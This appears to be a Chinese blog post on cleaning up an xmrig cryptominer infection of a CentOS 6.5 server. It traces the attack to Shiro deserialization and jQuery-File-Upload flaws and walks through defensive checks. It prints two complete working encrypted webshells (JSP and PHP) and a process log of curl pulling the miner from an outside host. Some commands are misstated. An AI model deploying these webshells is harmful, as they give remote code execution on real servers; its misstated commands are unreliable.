记录一次centos 6.5被xmrig 攻击的处理过程

前言

本次博客仅供小白学习记录

 上月某一天客户反应系统登录不上

 一 top命令查看cpu使用情况

 1.1用top命令看cpu 内存占用,果不其然发现了一个异常的xmrig cpu占用74.9%,

 难怪系统登录不上

  这时不要急着杀死进程,要根据pid找到相关的进程信息

   cd /proc/pid  再查看这个文件夹下的内容

 1.2或者 #查看cpu空闲情况
  free -g 

1.3#查看硬盘资源占用情况 找到占用量大的异常资源
  def -h

1.4找到之后把相关病毒进程和 病毒文件全部删除

二.查看业务服务日志

1. 查看tomcat,nginx等服务日志,查看是否有异常记录

从异常记录中排查是否有攻击记录

2021-02-06 02:34:09,886 [http-bio-8000-exec-18] WARN  [org.apache.shiro.mgt.DefaultSecurityManager] - Delegate RememberMeManager instance of type [org.apache.shiro.web.mgt.CookieRememberMeManager] threw an exception during getRememberedPrincipals().
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.
    at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)
    at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514)

、Apache Shiro 使用公开 AES 秘钥加密传输 使用默认 AES 秘钥的服务器容易遭受反序列化攻击,攻击者能在服务端执行任意代码。 Apache Shiro 在 1.2.4 之前版本中使用 AES 硬编码秘 钥,存在严重的反序列化漏洞,攻击者可以在远程主机上执行任意指令 ,建议 检查 Shiro 版本信息,若 <=1.2.4请升级至 1.2.5 及以上版本 。

参考:https://blog.csdn.net/zhaofuqiangmycomm/article/details/113710254

2.通过日志还发现有广东ip登录系统的,这为非法ip登录,病毒肯定获取到了你系统的账号密码,

 通知系统使用人员把账号密码全部改掉

3.通过日志还发现有上传病毒脚本的代码,

 通过jquer-file-upload 上传,我代码中已禁止上传php ,jsp这样文件的 代码,但它却不知道怎么上传了,赶紧删掉

应该是jQuery-File-Upload的漏洞,版本低的小伙伴赶快升级

jQuery-File-Upload,参考https://blog.csdn.net/niexinming/article/details/86268694

jsp的代码

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

php的

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
	@new C($params);
}
?>

上面代码仅供参考学习 

三. 查看定时任务是否被篡改

  crontab -e 

果然有病毒的定时启动任务。全部干掉

 

然后再查看crontab日志记录是否有篡改记录,是哪个用户啥时间篡改的

[root@crm2 home]# tail -f /var/log/cron

 

四.用history命令查看root用户的操作记录

不带时间直接 history 

果然有198.46.202.146记录

 带时间看

修改bashrc环境变量

vim  ~/.bashrc 或者 ~/.bash_profile

export HISTTIMEFORMAT="%F %T  "  

source ~/.bashrc

重新打开shell执行history命令

history 500|grep get_charge_by_month 

 

五.查看当前所有l查看TCP连接信息

1.netstat -atunlp 这个命令能直接到相关链接程序的信息 

netstat -atunlp |grep  198.46.202.146 

还有个bash脚本的链接

2.查看wget下载连接 ps -ef|egrep wget 

ps -ef|egrep wget "wget"
root     160645 160331  0 03:08 ?        00:00:00 curl -L --progress-bar http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
root     160647 160333  0 03:08 ?        00:00:00 curl -L --progress-bar http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
root     160655 160583  0 03:08 ?        00:00:00 curl -L --progress-bar http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
root     181052 172149  0 18:03 pts/1    00:00:00 egrep curl|wget

3.ps -ef|egrep curl 查看curl链接

4.ps -ef|egrep bash 查看bash 连接

关闭这样异常的链接,这样的连接往往导致cpu异常飙升而 top命令却看不到cpu的使用情况

关闭之后cpu恢复正常

 

我的 curl版本   7.19.7 

        bash版本 4.1.2 

bash升级 4.4 https://blog.csdn.net/zhaofuqiangmycomm/article/details/113585017

小等于这个版本的小伙伴要小心了

至此病毒的攻击手段和病毒文件都找到了,然后升级bash 和curl

 

其它漏洞参考

linux阿里云centos6.5漏洞修复命令,48个紧急严重漏洞一一修复

高危漏洞整改参考

https://blog.csdn.net/zhaofuqiangmycomm/article/details/117464452

 

写到最后

病毒说: 哈哈 真的全部找到了吗 

你:应该吧

所以真遇到病毒为了保险期间还是要重装系统加 防火墙加白名单,装杀毒软件等手段的

前提是你要找到病毒的位置和他攻击的手段,不然还可能会被攻入的

防火墙加白名单:https://blog.csdn.net/zhaofuqiangmycomm/article/details/113779658

 

心得:1.病毒在你系统要总会有服务,链接,定时之类,肯定能找到的,不然它就是死的,对你再也没威胁了

           2.找到病毒的位置和攻击的手段后要重装系统,因为你病毒一旦攻入,你很难清楚它在你系统中到底留了多少后门,病毒

           所以最后要重做系统,安装工业防火墙等安全手段

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
升级 CentOS6.5CentOS7.0 是一个比较复杂的过程,需要仔细阅读并按照以下步骤进行操作: 1. 备份数据:在进行任何系统升级之前,务必备份所有重要数据,以防止意外数据丢失。 2. 更新 CentOS6.5:在升级之前,先确保 CentOS6.5 的所有软件包都是最新的。执行以下命令更新系统: ``` yum update ``` 3. 安装 CentOS 7.0 的升级工具:为了将 CentOS 6.5 升级到 CentOS 7.0,需要安装一个名为“redhat-upgrade-tool”的软件包。执行以下命令安装该软件包: ``` yum install redhat-upgrade-tool preupgrade-assistant-contents ``` 4. 运行系统升级工具:安装完升级工具后,使用以下命令启动升级过程: ``` preupg ``` 此命令将生成一个报告,其中列出了可以升级的软件包和问题,如果没有问题,则可以继续进行升级过程。 5. 更新 yum 配置文件:将 CentOS 6.5 的 yum 配置文件备份并替换为 CentOS 7.0 的 yum 配置文件。执行以下命令: ``` cp /etc/yum.conf /etc/yum.conf.bak cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo ``` 6. 运行系统升级命令:最后,运行以下命令将 CentOS 6.5 升级到 CentOS 7.0: ``` redhat-upgrade-tool-cli --network 7.0 --instrepo=http://mirrors.aliyun.com/centos/7/os/x86_64/ ``` 此命令将下载并安装所有必需的软件包,升级系统到 CentOS 7.0。 7. 重启系统:完成升级后,重启系统以使更改生效: ``` reboot ``` 请注意,此过程可能需要一些时间,并且在执行过程中可能会出现错误或问题。因此,请务必按照上述步骤进行操作,并确保已备份所有数据。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值